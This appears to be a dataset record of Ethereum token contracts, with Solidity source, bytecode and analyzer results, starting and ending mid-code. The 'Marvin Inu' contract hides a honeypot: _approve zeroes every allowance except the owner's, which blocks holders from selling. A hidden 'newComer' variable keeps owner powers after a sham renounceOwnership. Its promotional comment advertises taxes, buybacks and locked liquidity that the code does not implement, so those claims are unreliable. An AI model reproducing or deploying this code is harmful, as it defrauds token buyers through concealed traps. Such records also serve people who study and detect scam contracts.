function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 13) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 13) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063b515566a1161006f578063b515566a1461037a578063c3c8cd801461039a578063c9567bf9146103af578063dbe8272c146103c4578063dc1052e2146103e4578063dd62ed3e1461040457600080fd5b80638da5cb5b146102cb578063953c4657146102f357806395d89b41146103135780639e78fb4f14610345578063a9059cbb1461035a57600080fd5b8063273123b7116100fd578063273123b714610225578063313ce5671461024557806346df33b7146102615780636fc3eaec1461028157806370a0823114610296578063715018a6146102b657600080fd5b806306fdde0314610145578063095ea7b31461018e57806318160ddd146101be5780631bbae6e0146101e357806323b872dd1461020557600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600e81526d1511535413114813d18810d5531560921b60208201525b60405161018591906119cf565b60405180910390f35b34801561019a57600080fd5b506101ae6101a9366004611856565b61044a565b6040519015158152602001610185565b3480156101ca57600080fd5b50670de0b6b3a76400005b604051908152602001610185565b3480156101ef57600080fd5b506102036101fe366004611988565b610461565b005b34801561021157600080fd5b506101ae610220366004611815565b6104ad565b34801561023157600080fd5b506102036102403660046117a2565b610516565b34801561025157600080fd5b5060405160098152602001610185565b34801561026d57600080fd5b5061020361027c36600461194e565b610561565b34801561028d57600080fd5b506102036105a9565b3480156102a257600080fd5b506101d56102b13660046117a2565b6105dd565b3480156102c257600080fd5b506102036105ff565b3480156102d757600080fd5b506000546040516001600160a01b039091168152602001610185565b3480156102ff57600080fd5b5061020361030e366004611988565b610673565b34801561031f57600080fd5b5060408051808201909152600981526843554c54454d504c4560b81b6020820152610178565b34801561035157600080fd5b506102036106b2565b34801561036657600080fd5b506101ae610375366004611856565b6108f1565b34801561038657600080fd5b50610203610395366004611882565b6108fe565b3480156103a657600080fd5b50610203610994565b3480156103bb57600080fd5b506102036109d4565b3480156103d057600080fd5b506102036103df366004611988565b610b9f565b3480156103f057600080fd5b506102036103ff366004611988565b610bd7565b34801561041057600080fd5b506101d561041f3660046117dc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610457338484610c0f565b5060015b92915050565b6000546001600160a01b031633146104945760405162461bcd60e51b815260040161048b90611a24565b60405180910390fd5b67016345785d8a00008111156104aa5760108190555b50565b60006104ba848484610d33565b61050c843361050785604051806060016040528060288152602001611bbb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611076565b610c0f565b5060019392505050565b6000546001600160a01b031633146105405760405162461bcd60e51b815260040161048b90611a24565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461058b5760405162461bcd60e51b815260040161048b90611a24565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105d35760405162461bcd60e51b815260040161048b90611a24565b476104aa816110b0565b6001600160a01b03811660009081526002602052604081205461045b906110ea565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161048b90611a24565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461069d5760405162461bcd60e51b815260040161048b90611a24565b6702c68af0bb1400008111156104aa57601155565b6000546001600160a01b031633146106dc5760405162461bcd60e51b815260040161048b90611a24565b600f54600160a01b900460ff16156107365760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561079657600080fd5b505afa1580156107aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ce91906117bf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561081657600080fd5b505afa15801561082a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084e91906117bf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561089657600080fd5b505af11580156108aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ce91906117bf565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610457338484610d33565b6000546001600160a01b031633146109285760405162461bcd60e51b815260040161048b90611a24565b60005b81518110156109905760016006600084848151811061094c5761094c611b6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061098881611b3a565b91505061092b565b5050565b6000546001600160a01b031633146109be5760405162461bcd60e51b815260040161048b90611a24565b60006109c9306105dd565b90506104aa8161116e565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161048b90611a24565b600e54610a1e9030906001600160a01b0316670de0b6b3a7640000610c0f565b600e546001600160a01b031663f305d7194730610a3a816105dd565b600080610a4f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610ab257600080fd5b505af1158015610ac6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aeb91906119a1565b5050600f805466470de4df820000601081905560115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b6757600080fd5b505af1158015610b7b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104aa919061196b565b6000546001600160a01b03163314610bc95760405162461bcd60e51b815260040161048b90611a24565b600d8110156104aa57600b55565b6000546001600160a01b03163314610c015760405162461bcd60e51b815260040161048b90611a24565b600d8110156104aa57600c55565b6001600160a01b038316610c715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048b565b6001600160a01b038216610cd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048b565b6001600160a01b038216610df95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048b565b60008111610e5b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048b565b6001600160a01b03831660009081526006602052604090205460ff1615610e8157600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610ec357506001600160a01b03821660009081526005602052604090205460ff16155b15611066576000600955600c54600a55600f546001600160a01b038481169116148015610efe5750600e546001600160a01b03838116911614155b8015610f2357506001600160a01b03821660009081526005602052604090205460ff16155b8015610f385750600f54600160b81b900460ff165b15610f73576000610f48836105dd565b9050601054821115610f5957600080fd5b601154610f6683836112f7565b1115610f7157600080fd5b505b600f546001600160a01b038381169116148015610f9e5750600e546001600160a01b03848116911614155b8015610fc357506001600160a01b03831660009081526005602052604090205460ff16155b15610fd4576000600955600b54600a555b6000610fdf306105dd565b600f54909150600160a81b900460ff1615801561100a5750600f546001600160a01b03858116911614155b801561101f5750600f54600160b01b900460ff165b15611064576000611031600483611ae2565b905061103d8183611b23565b915061104881611356565b6110518261116e565b47801561106157611061476110b0565b50505b505b61107183838361138c565b505050565b6000818484111561109a5760405162461bcd60e51b815260040161048b91906119cf565b5060006110a78486611b23565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610990573d6000803e3d6000fd5b60006007548211156111515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161048b565b600061115b611397565b905061116783826113ba565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111b6576111b6611b6b565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120a57600080fd5b505afa15801561121e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124291906117bf565b8160018151811061125557611255611b6b565b6001600160a01b039283166020918202929092010152600e5461127b9130911684610c0f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112b4908590600090869030904290600401611a59565b600060405180830381600087803b1580156112ce57600080fd5b505af11580156112e2573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806113048385611aca565b9050838110156111675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048b565b600f805460ff60a81b1916600160a81b179055801561137c5761137c3061dead83610d33565b50600f805460ff60a81b19169055565b6110718383836113fc565b60008060006113a46114f3565b90925090506113b382826113ba565b9250505090565b600061116783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611533565b60008060008060008061140e87611561565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061144090876115be565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146f90866112f7565b6001600160a01b03891660009081526002602052604090205561149181611600565b61149b848361164a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e091815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a764000061150e82826113ba565b82101561152a57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836115545760405162461bcd60e51b815260040161048b91906119cf565b5060006110a78486611ae2565b600080600080600080600080600061157e8a600954600a5461166e565b925092509250600061158e611397565b905060008060006115a18e8787876116c3565b919e509c509a509598509396509194505050505091939550919395565b600061116783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611076565b600061160a611397565b905060006116188383611713565b3060009081526002602052604090205490915061163590826112f7565b30600090815260026020526040902055505050565b60075461165790836115be565b60075560085461166790826112f7565b6008555050565b600080808061168860646116828989611713565b906113ba565b9050600061169b60646116828a89611713565b905060006116b3826116ad8b866115be565b906115be565b9992985090965090945050505050565b60008080806116d28886611713565b905060006116e08887611713565b905060006116ee8888611713565b90506000611700826116ad86866115be565b939b939a50919850919650505050505050565b6000826117225750600061045b565b600061172e8385611b04565b90508261173b8583611ae2565b146111675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048b565b803561179d81611b97565b919050565b6000602082840312156117b457600080fd5b813561116781611b97565b6000602082840312156117d157600080fd5b815161116781611b97565b600080604083850312156117ef57600080fd5b82356117fa81611b97565b9150602083013561180a81611b97565b809150509250929050565b60008060006060848603121561182a57600080fd5b833561183581611b97565b9250602084013561184581611b97565b929592945050506040919091013590565b6000806040838503121561186957600080fd5b823561187481611b97565b946020939093013593505050565b6000602080838503121561189557600080fd5b823567ffffffffffffffff808211156118ad57600080fd5b818501915085601f8301126118c157600080fd5b8135818111156118d3576118d3611b81565b8060051b604051601f19603f830116810181811085821117156118f8576118f8611b81565b604052828152858101935084860182860187018a101561191757600080fd5b600095505b838610156119415761192d81611792565b85526001959095019493860193860161191c565b5098975050505050505050565b60006020828403121561196057600080fd5b813561116781611bac565b60006020828403121561197d57600080fd5b815161116781611bac565b60006020828403121561199a57600080fd5b5035919050565b6000806000606084860312156119b657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119fc578581018301518582016040015282016119e0565b81811115611a0e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aa95784516001600160a01b031683529383019391830191600101611a84565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611add57611add611b55565b500190565b600082611aff57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b1e57611b1e611b55565b500290565b600082821015611b3557611b35611b55565b500390565b6000600019821415611b4e57611b4e611b55565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104aa57600080fd5b80151581146104aa57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046ce3e95a37009b8c41ca6915f807297e9ec3830d83f47b081105f628fd6737d64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,991 |
0x0586c9682afe5fd60fa52afac1982d345bc1e9b8 | /**
*Submitted for verification at Etherscan.io on 2021-12-20
*/
/*
Marvin Inu Token🐶
Marvin Inu is ready to boss around other meme tokens again. Relaunch is tommorrow December 20th beteween 3-4PM EST. The team has already spent over 40k on Marketing.
Tokenomics ❌(𝐂𝐨𝐧𝐭𝐫𝐚𝐜𝐭 𝐂𝐥𝐢𝐟𝐟𝐨𝐫𝐝 𝐅𝐨𝐫𝐤 𝐈𝐧𝐮)❌
✨Previous ATH 45m$✨
Supply 1,000,000,000,00✅
Buy tax: 15% goes to
🔥dev: 1%
🔥liquidity: 9%
🔥marketing: 5%
Sell tax: 22% goes to
🔥dev: 2%
🔥liquidity: 13%
🔥marketing: 7%
🚨Team will be doing BUYBACKS, and contests to win ETH, and NFTS🚨
🔒Liquidity will be locked for 1 year
🗣 Transparent and Based team
✨BSC bridge in 30 days
👾 Custom P2E Game
🛸Invading the Metaverse
🏃 Community Driven
🎨 NFTs marketplace
🚀 Launchpad and Staking Rewards
Join our community through these given links and be part of the next Floki🐕
📱Telegram : t.me/MarvinInuether
📲 Website : marvininueth.com/
📲 Twitter : https://twitter.com/Marvin_Inu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract MarvinInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**9* 10**18;
string private _name = 'Marvin Inu ' ;
string private _symbol = 'MARVIN ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602